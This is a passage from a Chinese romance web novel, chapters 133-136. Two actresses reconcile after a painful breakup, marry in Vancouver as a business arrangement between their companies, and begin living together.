祝星亦这才意识到自己的话实在不好听，这话说出来好像在责怪对方，哪里有哄人的意思。 于是赶忙补充：“我的意思是说，辛苦你了，你那么忙，还要采花。” 垂头嗅了嗅，好香，是苏寄欢的味道。 很喜欢。 “谢谢你，很好闻，我回头也放我屋子里。”祝星亦把花又往脸前凑了凑，塑料包装的声音响了又响。 “又不是专门给你采的。”苏寄欢手揣在兜里偏了下身子，“因为你与我两不相欠，不是吗？” 四个字一出，祝星亦哭丧着脸赶忙开口：“如果我说我是被逼着发这个消息的，你会相信吗？” 苏寄欢侧着身子沉默许久说：“如果你真打算与我两不相欠的话……祝星亦，我只能说，这不是8888能解决的。你觉得8888能买我一夜？我觉得我亏大了。” 祝星亦抱着花小声嘟囔：“可是昨夜明明我们两个都占到便宜了，我单方面花钱明明是我亏了。” 声音很小，但苏寄欢听到了。 她握着拳头控制住情绪：“啊？你说什么？你什么意思？你花8888你还吃亏了？我技术那么好你吃亏了？你到底什么态度？” 祝星亦被一连串的问题问得不知所以然，小退半步讨好地笑笑：“苏老师，你怎么突然生气了，你怎么了？” 苏寄欢仰着头发出一阵悠长的叹息。 可恶的前任和她还没重逢24小时，都已经开始当面吐槽她了。 当初这个前任做得那么过分，现在转个8888都要抱怨两句。 还什么，一炮解千愁。 居然妄想用这种方式把以前做的那些破事一笔勾销？ 谁教祝星亦说这些话的？谁教的？ 苏寄欢忍了又忍。 而面前这位可恶的前任还在满脸疑惑。 很好。 看这情况不像是被谁教的，倒像是自己想出来的。 苏寄欢收起这个话题，板着脸说：“我实话实说，[两不相欠］这个词不适用你和我。我来这一趟是想告诉你，祝星亦，你欠我太多，你真想还的话，我还要慢慢考虑你该怎么还。” 祝星亦见状，忙说：“那你考虑着先，什么时候考虑好了就告诉我。” 她想起了什么，赶忙把一个叮当乱响的东西掏了出来。 是一把挂着闪烁狐星钥匙扣的钥匙。 “回国前林总帮我把房子的事处理好了，我新房子的钥匙给你一把。”祝星亦耸了下肩，“我昨天就想给你，但没带给你准备的这把钥匙，今天带了。” 苏寄欢握着钥匙一动不动。 三年前的祝星亦把她家里的钥匙收回了，现在又交给自己一把新钥匙。 总觉得过去遭受的痛苦、不甘和愤怒，就这么被轻易抹杀得一干二净。 祝星亦明明什么都没做，她怎么……就想原谅她了？ 会不会太惯着她了？ 看人不说话，祝星亦脸上多了层红晕：“听说清心山今年会有踏青植树活动，过段时间，你能和我一起栽一棵柚子树吗？我一直都喜欢柚子花的香味，想……有一棵我们的柚子树。” 那个冷冰冰的人把钥匙揣口袋说：“我没那么闲，还种什么柚子树。” 停了两秒，又补充：“有空再说。” “苏老师，你真好。”祝星亦抱紧怀里的柚子花，*眼睛往下瞥，小心翼翼问：“糖炒栗子也是给我的吗？” 话音刚落，那袋糖炒栗子被塞在怀里。 再抬头，某人转身走了。 浓烈的日落，整个世界都是醉醺醺的模样。 爱人孤瘦的身影像鲜亮的星斗。 祝星亦抓紧花和糖炒栗子追去与她并肩，然后解释：“苏老师，消息不是我想发的，是……二姐让我和你划清关系。” “我知道。” “咦？你这么聪明？” “是苏芙太蠢。”走着，苏寄欢停下。 身旁的人也跟着停下。 垂眸盯着坏狐狸，苏寄欢沉吟许久说：“过几天跟我去一趟温哥华，需要带的东西我会给你发过去。” “去那里干什么？”祝星亦问完，想到曾经聊过的东西，“是去看烟花吗？海上烟花？” 苏寄欢怔了会儿。 她们约定好去温哥华看烟花，已经是八年前的事了。 却从未看过。 “对，去看海上烟花。” 第134章 我要和你结婚 祝星亦问：“那我要带什么？” “我不是说了我会发你？” “可是我想亲口听你说，想听你跟我说话。”声音低了下去，祝星亦抬头，抱紧怀里的柚子花，“但我又觉得你有点凶，不敢跟你多说。” 苏寄欢哽住。 于是放平情绪，手插兜里偏了下头：“你非要这么理直气壮吗？” “还是有点凶。” 苏寄欢放缓语速：“要带的东西也没有很多，发你后你带上就好。” “再轻一点。” “明天我去你家找你，我有你家钥匙，你要是不在，我提前去你家等着。” 稍稍轻缓些的声音，很接近过去那般温柔的声线。 满意了。 祝星亦嗯了声：“好，你等我。” “你真难伺候。” 祝星亦小声嘟囔：“明明是我在伺候你，你才难伺候。” “你吐槽个没完了？” “好凶。” “我先走了。” “那你要跟我说再见。”祝星亦拽住她的风衣，“还有，把我的钱还我，不然我们算非法性/交易。” 苏寄欢有些头疼地打开手机把钱转了回去。 衣服还在被拽着。 想板着脸，又怕被挑刺，苏寄欢只能放轻了声音：“八千块都舍不得给我？” 祝星亦瘪嘴：“快九千了呢，四舍五入，一万块。不是钱？” 苏寄欢头疼。 话全卡在嘴边，一句也说不出来。 于是潇洒转过身，撂下一句话：“我走了。” 只是刚迈出一步，衣服还在被拽着。 苏寄欢回头问：“还有事？” 坏狐狸撇嘴：“你还没说再见呢。” 这么严格。 到底谁在伺候谁？ 苏寄欢轻轻扯下她的手腕，好声好气：“再见，祝小姐。” 坏狐狸喜上眉梢：“再见，苏老师。” 隔日下午祝星亦回家取文件，进门发现屋子里有些不一样。 家里就她一个人，念着工作繁忙住酒店多，她便没请阿姨。 但早上被她弄乱的客厅变得一尘不染，桌上还放了一个玻璃瓶，插着几枝粉嘟嘟的垂丝海棠。 花瓣上剔透的水珠滚落桌面，映着暖阳的光。 神明喜欢鲜花。 神明也喜欢给小狐狸带花。 祝星亦没多想，迅速放下包在大平层里找人。 很快，在卧室里发现了人影。 女人已经疲惫地睡下，乌发像罗盘水母的触手一样扑在枕上。 藕白色的小臂伸出被窝，纤细的手腕上戴着眼熟的饰物，大金镯子和半山水的玉镯。 原来镯子没有被扔掉。 祝星亦蹑手蹑脚过去蹲在床边偷看睡着的苏寄欢。 歪着头左看右看，霎时间对这个漂亮女人产生好奇。 奇怪，为什么大老远来自己家还要睡自己床上。 好奇心很快被奔涌上来的暖意取代。 她从前总是糟糕地想着她永远失去了苏寄欢，那样的背叛和伤害，放在任何一个人身上都是不可饶恕的罪过，可现在她可以静静地看着苏寄欢的睡颜，还能，偷偷吻一吻她的脸颊。 啾。 祝星亦轻轻啄了下苏寄欢香气扑鼻的脸，看人没醒，俯身去啄手心。 然而脸蛋忽然被这只大手捏着。 祝星亦有点惊慌地抬头，枕头上睡眼惺忪的女人侧头看她。 “苏……老师。”被捏着脸，祝星亦的口齿有点不清，做贼心虚也令她脸颊一片绯红，“你怎么醒了？” 望着被抓包的坏狐狸，苏寄欢故意收紧了手指。 看坏狐狸的脸被自己捏得差点变形，苏寄欢翘了下唇角故作嫌弃：“被你的口水打扰醒的。” 祝星亦委屈：“你冤枉我，明明没有口水。” “是吗？”苏寄欢坐起身子收回手。 “当然是。”祝星亦跟着站起来问：“你怎么睡这里？这是我卧室，客房在对面。” “我没空自己收拾一间客房，要你整理的东西整理好了吗？”苏寄欢问。 祝星亦点头：“嗯，整理好了。” 昨天苏寄欢发给她出国需要带的东西，她很快便整理完毕放包里。 也不是什么特别的东西，一些证件和证明之类的。 苏寄欢：“明天下午的航班，我来接你。” 祝星亦呆愣地看着苏寄欢好久没说一句话，这么赶吗？ 但她也没问什么，她下意识觉得苏寄欢安排好了一切。 昨天她放心地汇报她很快把证件整理好，问苏寄欢是不是已经订好酒店之类的。 得到[是]的回复，她夸赞苏寄欢是个可靠的J人。 然后苏寄欢被惹毛了。 于是祝星亦擦着额头上豆大的汗珠解释J人并不是贱人的意思。 祝星亦还没从思绪里抽出来，苏寄欢已经穿上衣服起床。 “你这就要走了吗？”祝星亦跟着苏寄欢走到客厅。 “过来就是跟你确定一下，你不是说想多听我说话？”头发还埋在外套里，苏寄欢抬手把头发撩出来侧着身子说：“你等我明天来接你就好，行李你自己整理。” 祝星亦点点头。 “会整理吗？”苏寄欢不放心，问她。 祝星亦正要说怎么可能不会整理的时候，苏寄欢叉着腰低头说：“我明天早点来帮你收拾。” “苏老师，我都……27岁了。”祝星亦交握着双手开口，“我怎么不会收拾行李？” 27岁了。 哦，小狐狸已经27岁了。 苏寄欢怔愣好久回过神。 她总是下意识为祝星亦考虑这些大大小小的事，却忘记祝星亦早就长大了。 小鸟早就飞走了，还做了些荒唐的坏事。 但现在小鸟又回来了。 小鸟还会不会再飞走？ 她的小鸟……会不会再次把她丢下？ 眸色渐深，苏寄欢点点头，声音轻不可闻：“行，你自己收拾。” / 飞机落地温哥华机场后，Anny开车过来接两人。 Anny准备带苏寄欢回自己家住，苏寄欢称已经订好酒店，Anny听完酒店名字了然。 “你要去维岛的那家网红酒店啊，稀奇，你也喜欢跟风了？”Anny提醒苏寄欢要快些去，“从Richmond到维岛还要两个小时呢，等下带你们用完餐就直接过去好了。” 来回麻烦，用完餐后苏寄欢买了些吃的一并带好。祝星亦看了眼苏寄欢做好的行程规划，在SookePointOceanCottageResort住一晚，明晚上要住市中心的瑰丽。 这家酒店这么远，有什么吸引苏寄欢的地方吗？ 去了岛上后，祝星亦才知道那里为什么吸引苏寄欢。 美丽的峡湾地貌，面朝大海，海山相映。苏寄欢定的oceanview的套房，宽大的玻璃窗将壮阔的海景一览无余。 祝星亦放下行李便溜出去拍照，一点都不觉得疲惫。 拍了许久准备回去，发现苏寄欢在阳台看她。 祝星亦招招手：“苏老师，好出片啊，你也来拍。” 阳台上的女人没有行动的意思，于是祝星亦又招招手，女人才走下来。 “苏老师，我们一起拍。”祝星亦做了邀请，但苏寄欢没有接受这个邀请。 祝星亦犹豫了会儿还是把苏寄欢圈进取景框里。 晚餐吃得很差劲，酒店提供的食物并不合口味。幸好苏寄欢有先见之明带了些吃的，祝星亦才没有饿肚子。 祝星亦还没问什么时候看烟花，窗外响起了砰砰声。 浓稠的黑夜里，烟花像是从海面上升起，炸开一团团漂亮的火光。祝星亦小跑到玻璃窗前，在这间房里就能完整看到美丽的海上焰火。 回头喊苏寄欢，苏寄欢应了声，但人没有过来。 祝星亦便抓了个小垫子放在落地窗前坐下慢慢看。 不一会儿，灯灭了，祝星亦回头喊：“苏老师，怎么关灯了？” 苏寄欢慢慢走过来跟着一起坐下，眼眸里是焰火的颜色：“关上灯看烟花会更好看。” 视觉上确实更好了，祝星亦没再吱声，安静地看烟花。 许久，身边的苏寄欢说：“烟花秀是在六七月份，现在没有，是我向当地申请放的。” 祝星亦一愣，问：“那……那为什么你说是带我……” “八年前你答应和我去看烟花秀，但后来我们从来没有去看过。”苏寄欢的声音轻轻地打在祝星亦心上，敲烂一个个名为[不守信］的壳子。 “对……” 苏寄欢惨淡一笑：“我知道你又要说对不起，总是在说对不起，但你又能拿出什么来弥补？我们的过去，我怨恨的三年，我为你付出的五年，我们跌宕起伏的八年？你怎么弥补？” “很多时候我都在想，为什么是我，为什么总是我。为什么是我承担你的一切，你的快乐，你的不快乐，你的怨，你的恨，你的侮辱谩骂，你的忏悔求和，你为什么总让我去承受？是我欠你的吗？” “后来我想一想，哦，从始至终都是我主动招惹你的，是我缠着你不放，算我活该。” 苏寄欢笑着说出这些话，落在祝星亦身上，每个字都是一记重锤。 祝星亦想辩解什么，可那些都是事实。 一直以来，承受她所有喜怒哀乐，承担她荣誉、耻辱的都是苏寄欢。 师徒、情侣绑定了她们的一切，她的好与坏，苏寄欢沉默着照单全收。 对于外界来说，她们是关系甚密的师徒，是培养者和接班人，也是呕心沥血的苏寄欢和忘恩负义的祝星亦。 苏寄欢一路扶持她，从她籍籍无名到光芒万丈，见证她每一个荣誉瞬间，她亏欠苏寄欢太多太多，她根本弥补不了苏寄欢。 一个八年，还是未来多个八年，她都弥补不了。 潜伏晏氏做出自毁前程的牺牲，是祝星亦唯一能做的事，除此之外，她再也无法用别的行动来弥补苏寄欢。 她们之间根本无法适用[两不相欠］。 春日的焰火像一场厚重的葬礼，苏寄欢仰头看着窗外的烟花停顿了几秒：“是，是我主动招惹你的，但那并不代表我一定要被你伤得体无完肤。如果你有一点点怜悯我，就不会让我们的分手闹得那么难看，也不会三年来一次都不联系我，更不会用各种蹩脚的方式求我原谅你。” “你长大了吗？我想你长大了，三年前你就长大了，你翅膀硬了，你会飞了，你干出那么多荒唐事。我也懊悔，我教了你那么多，唯独没有教过你怎么体面地说再见，你也从来没有学过如何挽回一个已经失去的人。” 祝星亦听得出这一番话里的失望。 她确实是一个很荒唐的人，她甚至觉得自己这一生都无比荒诞。 以前的她不可一世、为非作歹、万众追捧，现在的她满身黑料，世人避之不及。 这次回国她也有很多犹豫，她是否应该追回苏寄欢。 她与苏寄欢的身份不太匹配，一个是事业顺利、光鲜亮丽的苏影后，一个是劣迹斑斑、负面舆论缠身的艺人。哪怕她已经是[星闪］CEO，她都无法避免谈及那些她自己干出来的丑闻。 她要用这样的身份接近苏寄欢吗？ 或者应该问一问。 苏寄欢愿意让这样的她接近自己吗？ 谁愿意和[法制咖］[劣迹艺人］有牵扯？和自己这种人扯上一点点关系，名声都扫地了。 祝星亦已经意识到苏寄欢想要说什么，趁最后一个字落下接上话：“苏老师，对不起，我这几天确实是一直在缠着你想和你复合，但我也知道以我现在的身份，我没有资格去说求和这句话。我知道你想和我彻底结束，我……” 她没有再继续说下去，她斟酌自己是不是要接受苏寄欢接下来要说的[彻底结束］。 她不想结束，她不想，她想追回苏寄欢。 可她不想耽误苏寄欢，这样的自己，这样劣迹斑斑的自己，为什么要耽误那么美好的苏寄欢？ 苏寄欢听到一半打断她的话：“祝星亦，从你我相识之后，我都是你的老师。我用我过往的经验告诉你怎么走这条路，我教你为人处世，教你辨认黑白，我自认为我把我能教的全都传授给了你。但现在我也遇到了棘手的问题，我确实无法再用我过往的经验解决我们的事。” 眼眶发热，祝星亦攥着拳头听苏寄欢用最平淡的语气说话。 她静静等待着苏寄欢的最终判决。 苏寄欢：“我无法信任你和[苏盛］的合作，我被你无情地背叛过，这代表未来我同样有被你再一次背叛的可能。所以，为了利益，为了[苏盛］，我要和你结婚。” 祝星亦低着头：“好……” 不对，等等—— 砰的一声，烟花炸开。 她们的剪影映在漫天的烟花下，像水晶球里的童话故事。 耳朵短暂失聪，祝星亦侧过头难以置信地凝望着苏寄欢的静谧的侧脸，声音从喉咙里艰难地吐出来：“结……婚？” 结婚？？！！ 第135章 妻妻关系 “结……婚？”祝星亦的声音扭曲得像卡祖笛，“苏老师……你……你在开玩笑吧，你要和我结婚？” 苏寄欢挺直脊背平静地说：“和你结婚并不代表我爱你，而是为了让[苏盛］和[星闪］更安全地合作。我已经提前将我们的婚前财产做好公证，婚后你和我的利益算是牢牢绑在一起，你背叛我的时候还要考虑一下我们彼此的财产，这也算是给我的一个保障。” 祝星亦还是觉得这样做不妥，怎么说结婚就结婚啊？ “可是……可是……” 苏寄欢不想听到祝星亦犹犹豫豫的回答，有些冷硬地说：“这是我对我们彼此合作最好的选择。今天求婚，明天领证。婚礼的话……我预约了场地，明天领完证就走流程，我会提前带你挑婚纱。如果哪天我们因为理念分道扬镳，并决定以后再也不合作的话，我会和你离婚。” 祝星亦垂眼。 来温哥华不是为了赴八年前的约，只是为了更安稳地合作。 为了确保忠诚选择结婚。 倘若理念不合，那便离婚。 成年人的世界里，利益总是放在第一位。感情和婚姻不再是罗曼蒂克的一种，而是一枚沉重的砝码。 身为[星闪］CEO，她知道必要时刻该做什么不该做什么。 她的市侩早就在当年只身前往晏氏的时候就锻炼出来了，可现在面对她深深爱着的人，她不忍将利益和婚姻画等号。 只是……只是她也不知道该怎么做了。 就像苏寄欢不知道该怎么处理这段感情。 苏寄欢都无法教她的事，她又要向谁学习？ 烟花声不绝于耳，祝星亦缓了许久说：“一直以来我都是在追着你的影子走，演戏也好，开影视公司也罢，我都是在追随你的身影。你是我永恒的理想与信念，我是你座下最虔诚的信徒。但是，苏老师，若我以后不会因为理念不合而和你分道扬镳，你是否会和我做永远的妻妻。” “忠诚于我对你来说是一个伪命题，你曾经信誓旦旦地说会永远忠诚于我，可还是背叛了我。所以你并不需要考虑以后的事，我只希望在这段婚姻里我可以获取我想获取的利益。”苏寄欢没有过多阐述结婚的事情，慢悠悠站起身子。 “明天八点前给我答复。”她说，“这是我们最后的合作机会，祝星亦，你考虑清楚。” 她说完就回卧室了。 祝星亦安静地坐在落地窗前看烟花，她从前觉得烟花很漂亮，无论在什么时候看到烟花她都会驻足片刻。 现在她觉得这么漂亮的海上烟花食之无味，就像她想破脑袋也无法跟苏寄欢和好一样糟糕。 在窗前坐了好久，久得小腿都充血了她才回房。 苏寄欢卧室的门紧紧关着，祝星亦站在那扇门门口好久，落寞地说：“苏老师，你睡了吗？我答应和你结婚，明天办手续的事情就拜托你了。另外，合作愉快。” 这一夜祝星亦睡得并不好。 八年前她第一次和苏寄欢看海上焰火，焰火后的海边，苏寄欢说梦见跟她求婚了。 当时她十分惶恐，身高位重的影后说出那种话，还一直追问[为什么你能喜欢晏瑾年却不能喜欢我］。 彼时的心和现在的心完全不同。 她宁愿苏寄欢像过去一样是在跟她开玩笑。 祝星亦揉揉眼翻了个身。 再睁眼，阳光透过窗帘洒进来，她眼角还带着泪。 “到时候填申请表就行。”苏寄欢简单收拾行李喊祝星亦出门。 祝星亦顺从地嗯嗯两声拉行李出来，抬头看到苏寄欢眼下一片乌青。 她也没睡好吗？ 晃晃荡荡去市中心的瑰丽放下行李，已经中午了。 苏寄欢带她去市政厅交表前去了附近的婚纱店。 “流程就是交完表就举办简单的婚礼仪式就可以拿到结婚证，你先选个款式简单的婚纱，不然行动不便。”苏寄欢随手选了件鱼尾裙抱在手里，抬手指了指，“选吧，我等你。” 祝星亦为自己挑了件很满意的婚纱，前短后长，拖着长长的裙摆，头纱也拖在地上。 她举着衣服给苏寄欢看，苏寄欢瞄了两眼说：“好长的头纱。” “不长。”祝星亦踮着脚把头纱挂苏寄欢头上，也是拖地。 苏寄欢挑眉，一副[你看吧，就是很长]的表情。 祝星亦低声咕哝了两句：“又不是你戴，我觉得不碍事。” 她又嘀咕两句，转身抱着衣服去了试衣间。 身后的人抿唇笑笑。 祝星亦换完衣服掀开帘子，苏寄欢已经站在一旁等待。 抹胸鱼尾裙，头发束起，像纯净的神女。 祝星亦抱着自己长长的头纱走过去夸赞：“苏老师，很漂亮。” 看到祝星亦把头纱抱在怀里，苏寄欢想笑又没笑。 与其戴长的抱着，还不如戴个短的。 不过，算了，坏狐狸想戴什么戴什么。 婚礼仪式的流程很快，说完誓言交换戒指祝星亦便跟着苏寄欢走出了市政厅。 苏寄欢平静地告诉她：“一个月内会收到证书，但现在我们已经合法了。等回去我会和你谈工作的事，你要是想快点回去，我们明天就回去，不想回去的话……” “想等几天回去。”祝星亦接过话，“回去就要面对工作了。” “行。” “苏老师。” “怎么？” 祝星亦有些犹豫地盯着两条影子，手指搅着头纱小声问：“我们都结婚的话，那我是不是能叫你老婆了？” 她下意识觉得苏寄欢会拒绝自己这个请求，悄咪咪抬眼，苏寄欢好像在思索什么。 下一秒，苏寄欢看了过来。 祝星亦漂亮的眼睛眨了下，眸光亮晶晶，想要快些得到答案。 苏寄欢没回答，提着裙子去找Anny的车。 Anny冲她挥挥手，她走得快了些，耳朵也在这时候红起来。 身后的人匆匆忙忙跟过来，然后撞在她身后发出吃痛的声音。 苏寄欢转身，坏狐狸有点狼狈地扯着头纱不好意思说：“我跑得太快踩到头纱了。” 看吧，头纱太长根本没一点好处。 除了好看。 苏寄欢抬手给她整理了下头纱，让她还放在怀里抱着。 “婚纱我已经付过款了，可以带回去。”苏寄欢开车门让祝星亦坐进去。 却听到祝星亦懊恼地说：“啊？早知道我选那件超大的蓬蓬裙了，就那套腰上还有超大蝴蝶结的。” 苏寄欢记得她说的这套婚纱，进店就看到了，确实超级大，穿上去裙摆下都能塞张桌子。 当时她就猜到坏狐狸肯定喜欢这件。 坏狐狸最爱漂亮了，喜欢丝带，喜欢亮晶晶、金闪闪的东西，喜欢蝴蝶结，喜欢好看的饰品，喜欢把头发烫成弯弯曲曲的模样才肯出门，喜欢把三种香水混在一起喷，但苏寄欢会嗅到里面的柚子花香。 柚子花的味道总是藏在混杂的味道里，再掩盖也掩盖不了，还没在一起时苏寄欢就嗅得到。 苏寄欢知道祝星亦很早前就喜欢自己。 她说，她比祝星亦更早感受到那份笨拙的喜欢。 就像别人说的，喜欢和咳嗽一样，藏都藏不住。 柚子花香和几百种香水混在一起，她也能嗅出来。 那时坏狐狸说，可是你知道我喜欢你，你为什么不告诉我呢？或者，你怎么不问问我，又或者，你也早就喜欢我了，为什么不主动跟我告白？ 当时的苏寄欢回答她，因为我想让你开口，因为我害怕你不敢接受我的爱，因为我怕你不能敞开心扉接受我。 因为苏寄欢也不是那么自信的苏寄欢。 要一次次确定，要得到一次次坚定的回应，才能让渴望爱的人大胆地张开双臂。 苏寄欢弯腰把裙摆往车里放放，转身去另一旁上车坐进去。 长长的头纱垂在她腿上，她没拿开，有些轻松地说：“真选的话，这辆车你都进不来。” “我可以去掉裙撑坐进来。” “那我坐哪里？后备箱？车轱辘？” 祝星亦抓着裙角说：“你可以坐副驾。” 苏寄欢觉得没意思，不再吭声。 许久许久，坏狐狸抓抓她裙子说：“那……你可以先坐进来，然后抱着我。” 苏寄欢挑眉侧头看窗外。 唔，天朗气清。 // 在温哥华几天，祝星亦每天都把肚子吃得圆滚滚的才肯罢休，又哭丧着脸说自己肯定胖了。 但想到她又不用上镜，遂放心地胡吃海喝。 苏寄欢没阻止她，安静地付钱。 回国后上秤一称，果然胖了。 哀嚎着还是要稍微控制一下体重时，苏寄欢的消息发来。 苏寄欢：【下周一[苏盛］这边会办个宴会，到时候宴会上签署合作协议，我会给你和[星闪］的艺人发邀请函】 苏寄欢：【协议我会提前发给你看】 祝星亦正要回复好的，想到一些必须要说的话。 打了许许多多字，又全部删掉。 最终只是回了个【好】。 白澜收到邀请函时慌慌张张跑到祝星亦办公室难以置信地问：“和[苏盛］合作的宴会？星亦……你搞定她了？你怎么搞定的？” 祝星亦小口喝了口茶，洞庭碧螺春，淡淡地讲述[星闪］和[苏盛］是怎么进行合作的。 听完，白澜几欲晕倒。 祝星亦为了跟[苏盛］合作，未免付出太多了。 简直是把自己的全身心奉献出去了！ 查看完协议，白澜仔仔细细品味协议的内容。 协议暂时签了两年，两年内要合作拍摄至少5部影视，白澜掐着手指算算，这个工程量还挺大。 [星闪］目前没有拍过长剧，如果[苏盛］带着[星闪］出5部影视的话……[星闪］定会突飞猛进。 没想到苏寄欢那么有诚意。 苏寄欢好像也……从未变过。 她还是这么好。 白澜捏着协议有些感叹。 祝星亦让白澜对宴会的事稍作整理，公司的艺人知道[星闪］要和[苏盛］合作都是一脸兴奋。 不为别的，只为以后可以演长剧。 短剧演员并不差，演技还是态度都非常好，毕竟这些人都是祝星亦自己挑的。 另外，好的演员演什么都认真。 演员和明星不一样，就像曾经，苏寄欢和晏瑾年不一样。 苏寄欢是一个很优秀的演艺工作者，是祝星亦仰慕的、追随的、崇敬的人。 但现在，苏寄欢是她的……老婆。 结了婚的老婆，合法的老婆。 “可即便结婚了，我也没有说过你一定要跟我一起住。” 苏寄欢的别墅门前，祝星亦乖巧地站在门口被苏寄欢拒绝。 白澜把两个行李箱拉出来站在祝星亦身后问：“星亦，好像还有东西忘记带了，我等下回去给你拿。” 行李往前一推，白澜开车走了。 祝星亦晃了下身子，声音温软：“苏老师，我一个人拉箱子有点费劲，你能不能帮我拉一下？” “祝星亦，我并没有答应你来我……”苏寄欢还没说完，祝星亦把两个箱子往她腿边一放。 然后—— 大摇大摆地走进去。 苏寄欢看着留在自己面前的两个行李箱，冷冷地哼了一声。 旋即拉着箱子进门：“想住进来，就自己收拾一间房。” 第136章 新婚礼物 说是要让人收拾一间房，结果苏寄欢还是自己来收拾。 没别的，苏寄欢觉得祝星亦对自己家不熟悉。 她捡起一个黑色皮筋随意扎了下头发，袖口挽起，翻找出洗干净的床单弯腰铺在床上。 祝星亦跑进来帮忙拽床单，她盯着苏寄欢清晰的下颌线看了又看，被苏寄欢催着快把床单抻好方才把心思放在床单上。 苏寄欢铺好床又把屋子稍微整理了下，她总是会把所有东西都规整好，像有强迫症似的。 但祝星亦完全做不到。 两个行李箱打开，各种零零碎碎的东西都堆在地上。 祝星亦往外拿着东西，苏寄欢便弯腰收拾着。 直至拿出狐光熠熠。 这只玩偶已经有些旧了，祝星亦经常抱着它睡觉，重新充过几次绒，也缝缝补补过，但总不如当初拿到手时那么崭新。 苏寄欢把乱七八糟的东西慢慢整理好，转头看到祝星亦抱着玩偶坐在地上，好奇地瞅了两眼便看到那只火红的玩偶。 “你还留着？”苏寄欢跟着席地而坐。 祝星亦揉揉玩偶点头：“是啊，我那时还把它带出国，每天都抱着它睡觉。” “为什么？” 祝星亦反问：“什么为什么？” “分手了为什么还留着它？为什么还抱着它睡觉？” 祝星亦拧紧眉头：“因为是你送我的，你还给它起名[苏寄欢］。你送我的东西我都在留着，没有丢过一件。之前那个金子星星摆件我也在留着，那时你走出门后，我把它从垃圾桶里捡了回来。” 丢掉摆件的那天是七夕，也是她们分手的日子。 自此每年七夕都是苏寄欢的一场葬礼。 现在离七夕还有四个月。 苏寄欢垂着眼沉默地起身继续收拾东西。 久久，冷淡的声音传来：“祝星亦，别坐地上，地上凉。” 祝星亦赶忙抱着玩偶爬起来：“嗯，好。” 宴会那天早上，祝星亦睡醒后在床上翻滚两下，发现被窝有点挤。 掀开被子一角，两只火红的……狐光熠熠？ 祝星亦坐起来把两只玩偶抱在怀里对比了下，一只旧的，一只崭新的。 两只一模一样的狐光熠熠。 两只一模一样的苏寄欢。 都睡在她被窝里。 脚步的声音在清晨空荡荡的别墅里异常清晰。 祝星亦飞快地踩着楼梯下楼，下到一半看到一楼厨房里女人的身影。 简单的居家服，黑色抓夹抓起蓬松的墨发，冷白的脸上一片静谧。 像透明的河流，像柔软的春风。 掀开煮锅，白色雾气埋住了精致立体的五官，片刻后，苏寄欢转眸看向楼梯那处。 呆呆的坏狐狸。 “等下可以吃饭了。”苏寄欢尝了下汤，很鲜，将将好。 碗还没拿出来，某只头发乱糟糟的坏狐狸抱着两只棉花狐狸闯入厨房。 苏寄欢瞥了两眼祝星亦怀里的玩偶说：“吃饭还要抱着玩偶？你多大了？” “谢谢你送的新玩偶，它和旧的一模一样。”祝星亦像只小鸟，似乎下一秒就能开心地飞起来，“不，不一样，它很新。” 瓷碗在桌面上磕碰出清脆的声响，苏寄欢扬手盛两碗汤，“要吃饭了祝星亦，去坐好。” “所以你偷偷进我屋子里了，是不是？” “祝星亦，这是我的家。” “你应该庆幸我没锁门。”祝星亦尝了口汤，鲜到掉眉毛，“不然我不会那么惊喜，醒来就能看到你。” 她拍拍被好好放在两把椅子上的玩偶说：“它们有两个名字，一个名字是狐光熠熠，另一个名字是[苏寄欢］。苏老师，谢谢你的……新婚礼物。” 苏寄欢没有理会她的话，安静吃饭。 吃了两口说：“你快点吃饭。” 坏狐狸埋头吃饭。 苏寄欢喝了口汤，笑意从唇角蔓延开。 宴会晚八点开始，七点半的时候祝星亦还在屋子里换衣服。 品牌方送来许多衣服，人都要挑花眼。 “我是真的有一点点胖了。”祝星亦换来换去挑不到满意的衣服。 苏寄欢上下打量她几眼，确实是比刚回国时涨了点肉，但也只是一点点。 长点肉挺好的，坏狐狸刚回国时太瘦了，跟没怎么吃过饭似的。譬如瘦削的脸终于饱满了些，脸蛋也红润了不少，不像之前死气沉沉。 想到这儿，苏寄欢也觉得自己不像之前死气沉沉。 难道是因为……被滋润过了？ 思绪胡乱飞着，好巧不巧看到祝星亦弯腰时胸口前的风光。 苏寄欢身子一滞险些站不住。 她想，这段时间过得确实是很滋润了。 “你要是还是选不好的话，我就自己先去宴会。”苏寄欢走出祝星亦的屋子。 走两步，被抓住了手腕。 祝星亦有些拿不定主意，只好求助苏寄欢：“苏老师……你帮我挑一套好不好？拜托你了。” 苏寄欢抽出手折回床边拎起一条裙子，裙摆如浪花的红裙，另外挑了双珍珠链的红色高跟鞋。 祝星亦换完后苏寄欢瞄了两眼，瓷白的手臂上垂着长长的白色披肩，裙摆逶迤。 她嗯了声，示意可以出门了。 转身走出房门，手臂又被挽着。 祝星亦挽得紧紧的，“苏老师，挽手臂也算是一种社交*礼仪，是不是？” 苏寄欢没吱声，默默地带人出门。 金允声开车载人去宴会厅，至于苏芙…… 苏寄欢给她放了个短假，在外面没玩够就别回来。 祝星亦穿着红裙子还挂着披肩坐车里不方便，披肩只能放在苏寄欢腿上。 苏寄欢穿着款式简单的水蓝色鱼尾裙，整个人都要被祝星亦埋住。 “苏老师，我把玩偶分你一只好不好？”祝星亦觉得抱着两只玩偶睡有点挤，索性分苏寄欢一只。 苏寄欢没应，祝星亦想了想怎么分，说：“我把旧的给你。” “为什么不给我新的？” 祝星亦蹙眉：“你刚送我的你就想收回去？” 苏寄欢有点想笑：“旧的也是我送的，玩旧了就不要了？” 坏狐狸瘪了会儿嘴，晃晃手臂小声说：“我就想我们一人一只嘛。” 白色披肩全堆在腿上，挠得人痒痒的。 苏寄欢垂头，小指勾下坏狐狸的裙子，偏头说：“那我就要旧的算了。” 祝星亦眼睛弯弯：“好，今晚回去拿给你。” 苏寄欢苦笑。 坏狐狸这算什么追人？一点亏都吃不得。 真要是靠她追自己，追八百年都追不到。 夜色渐浓，车行驶过暮春的麓城，碾过街道上刚飘落的花。 路灯的光映在车窗，苏寄欢声音轻轻：“你总说我难伺候，其实最难伺候的是你。” 祝星亦为自己辩解：“我没有让你伺候我，只不过这几天都是你起得早去做饭，还有就是我没有发过一次脾气，都是我在哄你。” “你哄我？” “我一直在哄你，不是吗？” 是吗？ 苏寄欢动了下身子转移话题：“你有去搜过那些养狐狸的博文吗？狐狸服从性差，发起疯来六亲不认。十个养狐狸的，九个都说后悔。偏偏有人被那些狐狸漂亮可爱的博文骗着去养，养了就遭罪。” “你又没养狐狸，咦？你想养狐狸吗？” “你不是？”苏寄欢含笑说，“尖牙利嘴，又会做坏事。” 